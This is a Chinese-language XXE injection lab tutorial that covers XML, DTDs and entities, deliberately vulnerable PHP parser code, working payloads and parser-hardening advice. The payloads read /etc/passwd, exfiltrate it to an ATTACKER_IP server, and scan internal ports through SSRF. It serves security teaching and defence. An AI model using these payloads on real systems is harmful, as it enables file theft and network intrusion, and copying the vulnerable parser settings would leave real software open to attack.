Introduction

XXE(XML 外部实体)注入是一种利用应用程序 XML 输入中的漏洞的安全漏洞。当应用程序接受包含 XML 本身中的外部实体引用的 XML 输入时,就会发生这种情况。攻击者可以利用此漏洞泄露本地文件、发出服务器端请求或执行远程代码。

鉴于 XML 在 Web 应用程序中的广泛使用,特别是在 Web 服务和基于 SOAP 的 API 中,这些漏洞的严重性不容小觑。

目标

认识与 XXE 注入相关的基本概念和危险。

识别易受攻击的 XML 处理配置和实践。

开发用于检测、利用和缓解应用程序中 XXE 漏洞的技术。

先决条件

了解 XML 文档的结构,包括标签、属性和实体引用。

熟悉 Web 应用程序如何处理输入和管理数据。

对 OWASP ZAP 或 Burp Suite 有基本了解。

Exploring XML

什么是 XML?

XML(可扩展标记语言)是一种标记语言,源自 SGML(标准通用标记语言),与 HTML 所基于的标准相同。应用程序通常使用 XML 以人可读且机器可解析的格式存储和传输数据。它是一种灵活且广泛使用的格式,用于在不同系统和应用程序之间交换数据。 XML 由元素、属性和字符数据组成,用于以结构化和有组织的方式表示数据。

XML 语法和结构

XML 元素由标签表示,标签由尖括号 (<>) 包围。标签通常成对出现,开始标签位于内容之前,结束标签位于内容之后。例如:

<?xml version="1.0" encoding="UTF-8"?>
<user id="1">
<name>John</name>
<age>30</age>
<address>
<street>123 Main St</street>
<city>Anytown</city>
</address>
</user>

标签 <name>John</name> 表示名为“name”且内容为“John”的元素。属性提供有关元素的其他信息,并在开始标签内指定。标签 <user id="1"> 为元素“user”指定属性“id”,值为“1”。字符数据是指元素内的内容,例如“John”。

上面的示例显示了一个包含元素、属性和字符数据的简单 XML 文档。标签 <?xml version="1.0" encoding="UTF-8"?> 声明表示 XML 版本,元素包含表示用户数据的各种子元素和属性。

Web 应用程序中的常见用例

XML 广泛用于 Web 应用程序中的数据交换、存储和配置。它通常用于 Web 服务和 API(例如 SOAP 和 REST),以在系统之间交换数据。XML 还用于配置文件,例如 Web 服务器配置或应用程序设置。

什么是 XSLT?

XSLT(可扩展样式表语言转换)是一种用于转换和格式化 XML 文档的语言。虽然 XSLT 主要用于数据转换和格式化,但它也与 XXE(XML 外部实体)攻击密切相关。

XSLT 可用于通过多种方式促进 XXE 攻击:

  1. 数据提取:XSLT 可用于从 XML 文档中提取敏感数据,然后可用于 XXE 攻击。例如,XSLT 样式表可以从 XML 文件中提取用户凭据或其他敏感信息。

  2. 实体扩展:XSLT 可以扩展 XML 文档中定义的实体,包括外部实体。这可以使攻击者注入恶意实体,从而导致 XXE 漏洞。

  3. 数据操纵:XSLT 可以操纵 XML 文档中的数据,可能允许攻击者注入恶意数据或修改现有数据以利用 XXE 漏洞。

  4. 盲 XXE:XSLT 可用于执行盲 XXE 攻击,攻击者在不查看服务器响应的情况下注入恶意实体。

什么是 DTD?

DTD 或文档类型定义定义 XML 文档的结构和约束。它们指定允许的元素、属性以及它们之间的关系。DTD 可以是 XML 文档内部的,也可以是单独文件中的外部的。

DTD 的目的和用法:

  • 验证:DTD 验证 XML 的结构以确保其在处理之前符合特定标准,这在数据完整性至关重要的环境中至关重要。
  • 实体声明:DTD 定义可在整个 XML 文档中使用的实体,包括 XXE 攻击中的关键外部实体。

内部 DTD 使用 <!DOCTYPE 声明指定,而外部 DTD 使用 SYSTEM 关键字引用。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE config [
<!ELEMENT config (database)>
<!ELEMENT database (username, password)>
<!ELEMENT username (#PCDATA)>
<!ELEMENT password (#PCDATA)>
]>
<config>
<!-- configuration data -->
</config>

上面的示例显示了定义配置文件结构的内部 DTD。 <!ELEMENT 声明指定允许的元素及其关系。

DTD 和 XXE

DTD 在 XXE 注入中起着至关重要的作用,因为它们可用于声明外部实体。外部实体可以引用外部文件或 URL,这可能导致恶意数据或代码注入。

XML 实体

XML 实体是可在 XML 文档中扩展的数据或代码的占位符。实体有五种类型:内部实体、外部实体、参数实体、一般实体和字符实体。

外部实体示例:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY external SYSTEM "http://example.com/test.dtd">
<config>
&external;
</config>

这显示了引用 URL 的外部实体。XML 文档中的 &external; 引用将扩展为所引用 URL 的内容。

实体类型

  1. 内部实体本质上是 XML 文档中用于定义和替换可能多次重复的内容的变量。它们在 DTD(文档类型定义)中定义,可以简化重复信息的管理。例如:
<!DOCTYPE note [
<!ENTITY inf "This is a test.">
]>
<note>
<info>&inf;</info>
</note>

在此示例中,无论“&inf;”实体出现在文档中的何处,它都会被其值替换。

  1. 外部实体类似于内部实体,但它们的内容是从 XML 文档外部引用的,例如从单独的文件或 URL。如果 XML 处理器配置为解析外部实体,则可以在 XXE(XML 外部实体)攻击中利用此功能。例如:
<!DOCTYPE note [
<!ENTITY ext SYSTEM "http://example.com/external.dtd">
]>
<note>
<info>&ext;</info>
</note>

这里,“&ext;”从指定的 URL 中提取内容,如果 URL 被攻击者控制,则可能存在安全风险。

  1. 参数实体是 DTD 中用于定义可重用结构或包含外部 DTD 子集的特殊类型的实体。它们对于模块化 DTD 和维护大型 XML 应用程序特别有用。例如:
<!DOCTYPE note [
<!ENTITY % common "CDATA">
<!ELEMENT name (%common;)>
]>
<note>
<name>John Doe</name>
</note>

在这种情况下,DTD 中使用 %common; 来定义 name 元素应包含的数据类型。

  1. 通用实体类似于变量,可以在内部或外部声明。它们用于定义可在 XML 文档主体中使用的替换。与参数实体不同,通用实体旨在用于文档内容。例如:
<!DOCTYPE note [
<!ENTITY author "John Doe">
]>
<note>
<writer>&author;</writer>
</note>

实体 &author; 是一个通用实体,用于在文档中引用作者姓名时替换作者姓名。

  1. 字符实体用于表示不能直接在 XML 文档中使用的特殊或保留字符。这些实体可防止解析器误解 XML 语法。例如:
  • < 表示小于符号 (<)
  • > 表示大于符号 (>)
  • & 表示与符号 (&)
<note>
<text>Use &lt; to represent a less-than symbol.</text>
</note>

这种用法可确保 XML 解析器正确处理特殊字符,而不会破坏文档的结构。

下图显示了 DOM 结构中的实体类型:

Types of entities in DOM structure

source: https://learn.microsoft.com/en-us/dotnet/standard/data/xml/reading-entity-declarations-and-entity-references-into-the-dom

XML Parsing Mechanisms

XML 解析

XML 解析是读取 XML 文件并由软件程序访问和操作其信息的过程。XML 解析器将数据从 XML 格式转换为程序可以使用的结构(如 DOM 树)。在此过程中,解析器可能会根据架构或 DTD 验证 XML 数据,确保结构符合某些规则。

如果解析器配置为处理外部实体,则可能导致未经授权访问文件、内部系统或外部网站。

常见 XML 解析器

不同的编程环境中使用多种 XML 解析器;每个解析器处理 XML 数据的方式可能不同,这可能会影响 XXE 注入漏洞。

  • DOM(文档对象模型)解析器:此方法将整个 XML 文档构建为基于内存的树结构,允许随机访问文档的所有部分。它占用大量资源,但非常灵活。
  • SAX(XML 简单 API)解析器:按顺序解析 XML 数据,而无需将整个文档加载到内存中,因此适合处理大型 XML 文件。但是,它在随机访问 XML 数据方面不太灵活。
  • StAX(XML 流式 API)解析器:与 SAX 类似,StAX 以流式方式解析 XML 文档,但让程序员可以更好地控制 XML 解析过程。
  • XPath 解析器:根据表达式解析 XML 文档,广泛与 XSLT 结合使用。

Exploiting XXE - In-Band

带内 XXE 与带外 XXE

带内 XXE 是指攻击者可以看到服务器响应的 XXE 漏洞。这允许直接进行数据泄露和利用。攻击者只需向应用程序发送恶意 XML 负载,服务器就会使用提取的数据或攻击结果进行响应。

另一方面,带外 XXE 是指攻击者无法看到服务器响应的 XXE 漏洞。这需要使用替代渠道(例如 DNS 或 HTTP 请求)来泄露数据。要提取数据,攻击者必须制作一个恶意 XML 负载,以触发带外请求(例如 DNS 查询或 HTTP 请求)。

带内 XXE 利用

我们将在此房间中使用 Burp。要演示此漏洞,请转到 http://10.10.75.128/contact.php,然后填写表格。

Homepage of the application

点击提交按钮并拦截请求。

Intercepted request of the contact form

提交的数据由 contact_submit.php 处理,其中包含一个存在漏洞的 PHP 代码,用于在用户通过表单提交消息时返回 name 参数的值。以下是存在漏洞的代码:

libxml_disable_entity_loader(false);

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$xmlData = file_get_contents('php://input');

$doc = new DOMDocument();
$doc->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD);

$expandedContent = $doc->getElementsByTagName('name')[0]->textContent;

echo "Thank you, " .$expandedContent . "! Your message has been received.";
}

由于应用程序返回 name 参数的值,我们可以注入指向 /etc/passwd 的实体来公开其值。

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<contact>
<name>&xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>

使用上述有效负载,替换提交给 contact_submit.php 的初始 XML 数据并重新发送请求。

Injected xxe payload pointed to /etc/passwd file

XML 实体扩展

XML 实体扩展是 XXE 攻击中经常使用的一种技术,涉及在 XML 文档中定义实体,然后 XML 解析器会对其进行扩展。攻击者可以通过创建递归或过大的实体来滥用此功能,从而导致拒绝服务 (DoS) 攻击或定义引用敏感文件或服务的外部实体。此方法对于带内和带外 XXE 都至关重要,因为它允许攻击者将恶意实体注入 XML 数据。例如:

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "This is a test message" >]>
<contact><name>&xxe; &xxe;
</name><email>test@test.com</email><message>test</message></contact>

在上述有效载荷中,“&xxe;”无论出现在哪里都会被扩展。攻击者可以使用实体扩展来执行 Billion Laughs 攻击,其中一个小型 XML 文档会递归扩展以消耗服务器资源,从而导致拒绝服务。

XML Expansion in action

Exploiting XXE - Out-of-Band

libxml_disable_entity_loader(false);
$xmlData = file_get_contents('php://input');

$doc = new DOMDocument();
$doc->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD);

$links = $doc->getElementsByTagName('file');

foreach ($links as $link) {
$fileLink = $link->nodeValue;
$stmt = $conn->prepare("INSERT INTO uploads (link, uploaded_date) VALUES (?, NOW())");
$stmt->bind_param("s", $fileLink);
$stmt->execute();

if ($stmt->affected_rows > 0) {
echo "Link saved successfully.";
} else {
echo "Error saving link.";
}

$stmt->close();
}

上面的代码不返回提交的 XML 数据的值。因此,术语“带外”是因为必须使用攻击者控制的服务器来捕获泄露的数据。

对于这种攻击,我们需要一个从其他服务器接收数据的服务器。您可以使用 Python 的 http.server 模块,尽管还有其他选择,例如 Apache 或 Nginx。使用 AttackBox 或您自己的机器,使用以下命令启动 Python Web 服务器:

启动 Python Web 服务器

           user@tryhack $ python3 -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...

在应用程序中上传文件并使用 Burp 监视发送到“submit.php”的请求。将下面的请求转发到 Burp Repeater。

Forward the request to repeater

使用下面的有效负载,替换请求中的 XML 文件的值并重新发送。请注意,您必须将 ATTACKER_IP 变量替换为您自己的 IP。

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://ATTACKER_IP:1337/" >]>
<upload><file>&xxe;</file></upload>

发送修改后的 HTTP 请求。

Modified HTTP request with the payload

在发送修改后的HTTP请求后,Python Web服务器将收到来自目标机器的连接。与服务器建立连接表明可以从应用程序中提取敏感信息。

Python webserver receives a connection

我们现在可以创建一个包含外部实体的 DTD 文件,并使用 PHP 过滤器从目标 Web 应用程序中窃取数据。

保存下面的示例 DTD 文件并将其命名为“sample.dtd”。下面的有效负载将窃取“/etc/passwd”的内容并将响应发送回攻击者控制的服务器:

<!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:1337/?data=%cmd;'>">
%oobxxe;

DTD Payload 解释

DTD 以指向系统资源的实体 %cmd 的声明开头。**%cmd** 实体指的是 PHP 过滤协议 php://filter/convert.base64-encode/resource=/etc/passwd 中的资源。它检索 /etc/passwd 的内容,这是基于 Unix 的系统中的标准文件,包含用户帐户信息。convert.base64-encode 过滤器以 Base64 格式对内容进行编码,以避免出现格式问题。**%oobxxe** 实体包含另一个 XML 实体声明 exfil,它具有指向攻击者控制的服务器的系统标识符。它包含一个名为 data 的参数,带有 %cmd,表示 /etc/passwd 的 Base64 编码内容。当解析“%oobxxe;”时,它会创建连接到攻击者服务器的“exfil”实体(“http://ATTACKER_IP:1337/”)。参数“?data=%cmd”发送来自“%cmd”的 Base64 编码内容。

返回中继器并将您的有效载荷更改为:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE upload SYSTEM "http://ATTACKER_IP:1337/sample.dtd">
<upload>
<file>&exfil;</file>
</upload>

Change the payload to the updated external DTD file

重新发送请求并检查您的终端。您将收到两个 (2) 个请求。第一个是针对 sample.dtd 文件的请求,第二个是包含已编码 /etc/passwd 的易受攻击的应用程序发送的请求。

Two external connections received in the webserver with the exfiltrated data

解码窃取的 base64 数据将显示它包含 /etc/passwd 的 base64 值。

Decoded version of the exfiltrated data

SSRF + XXE

服务器端请求伪造 (SSRF) 攻击发生在攻击者滥用服务器上的功能时,导致服务器向非预期位置发出请求。在 XXE 上下文中,攻击者可以操纵 XML 输入,使服务器向内部服务发出请求或访问内部文件。此技术可用于扫描内部网络、访问受限端点或与只能从服务器本地网络访问的服务进行交互。

内部网络扫描

考虑这样一种情况,即易受攻击的服务器在非标准端口上内部托管另一个 Web 应用程序。攻击者可以利用 XXE 漏洞,使服务器向其自己的内部网络资源发送请求。

例如,使用从带内 XXE 任务捕获的请求,将捕获的请求发送到 Burp Intruder 并使用以下有效负载:

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://localhost:§10§/" >
]>
<contact>
<name>&xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>

外部实体设置为从 http://localhost:§10§/ 获取数据。然后,Intruder 将重复请求并搜索服务器上运行的内部服务。

暴力破解开放端口的步骤:

  1. 一旦 In-Band XXE 捕获的请求进入 Intruder,请在突出显示端口的同时单击添加 § 按钮。

HTTP request in intruder

  1. 在 Payloads 选项卡中,将 Payload 类型设置为 Numbers,Payload 设置范围为 1 到 65535。

Payloads tab with the right settings

3.完成后,单击“开始攻击”按钮,然后单击“长度”列以对大小最大的项目进行排序。服务器响应大小的差异值得进一步调查,因为它可能包含与其他入侵者请求不同的信息。

Successful attack showing the data

Flag in the response

服务器如何处理

实体 &xxe;<name> 标记内引用,在解析 XML 时触发服务器向指定 URL 发出 HTTP 请求。然后,请求资源的响应将包含在服务器响应中。如果应用程序包含密钥、API 密钥或硬编码密码,则此信息可用于另一种形式的攻击,例如密码重用。

潜在的安全隐患

  • 侦察:攻击者可以发现在内部网络端口上运行的服务并深入了解服务器的内部架构。
  • 数据泄露:如果内部服务返回敏感信息,则可能会通过错误或 XML 数据输出向外部公开。
  • 特权提升:访问内部服务可能会导致进一步的漏洞利用,从而可能提升攻击者在网络中的能力。

Mitigation

避免配置错误

XML 解析器设置中的配置错误是导致 XXE 相关漏洞的常见原因。调整这些设置可以显著降低 XXE 攻击的风险。以下是针对几种流行编程语言和框架的详细指南和最佳实践。

常规最佳实践

  1. 禁用外部实体和 DTD:作为最佳实践,请在 XML 解析器中禁用对外部实体和 DTD 的处理。大多数 XXE 漏洞都来自恶意 DTD。
  2. 使用不太复杂的数据格式:尽可能考虑使用更简单的数据格式,例如 JSON,它不允许指定外部实体。
  3. 允许列表输入验证:根据定义预期数据类型和模式的严格架构验证所有传入数据。排除或转义 XML 特定字符,例如 <、>、&、’ 和 “。这些字符在 XML 语法中至关重要,如果误用,可能会导致注入攻击。

流行语言中的缓解技术

Java

使用 DocumentBuilderFactory 并禁用 DTD:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();

.NET

配置 XML 读取器以忽略 DTD 和外部实体:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);

PHP

禁用 libxml 加载外部实体:

libxml_disable_entity_loader(true);

Python

使用“defusedxml”库,该库旨在缓解 XML 漏洞:

from defusedxml.ElementTree import parse
et = parse(xml_input)

定期更新和修补

  • 软件更新:使所有 XML 处理器和库保持最新状态。供应商经常修补已知漏洞。
  • 安全补丁:定期将安全补丁应用于 Web 应用程序及其环境。

安全意识和代码审查

  • 进行代码审查:定期审查代码是否存在安全漏洞,尤其是处理 XML 输入和解析的代码。
  • 促进安全培训:确保开发人员了解安全编码实践,包括与 XML 解析相关的风险。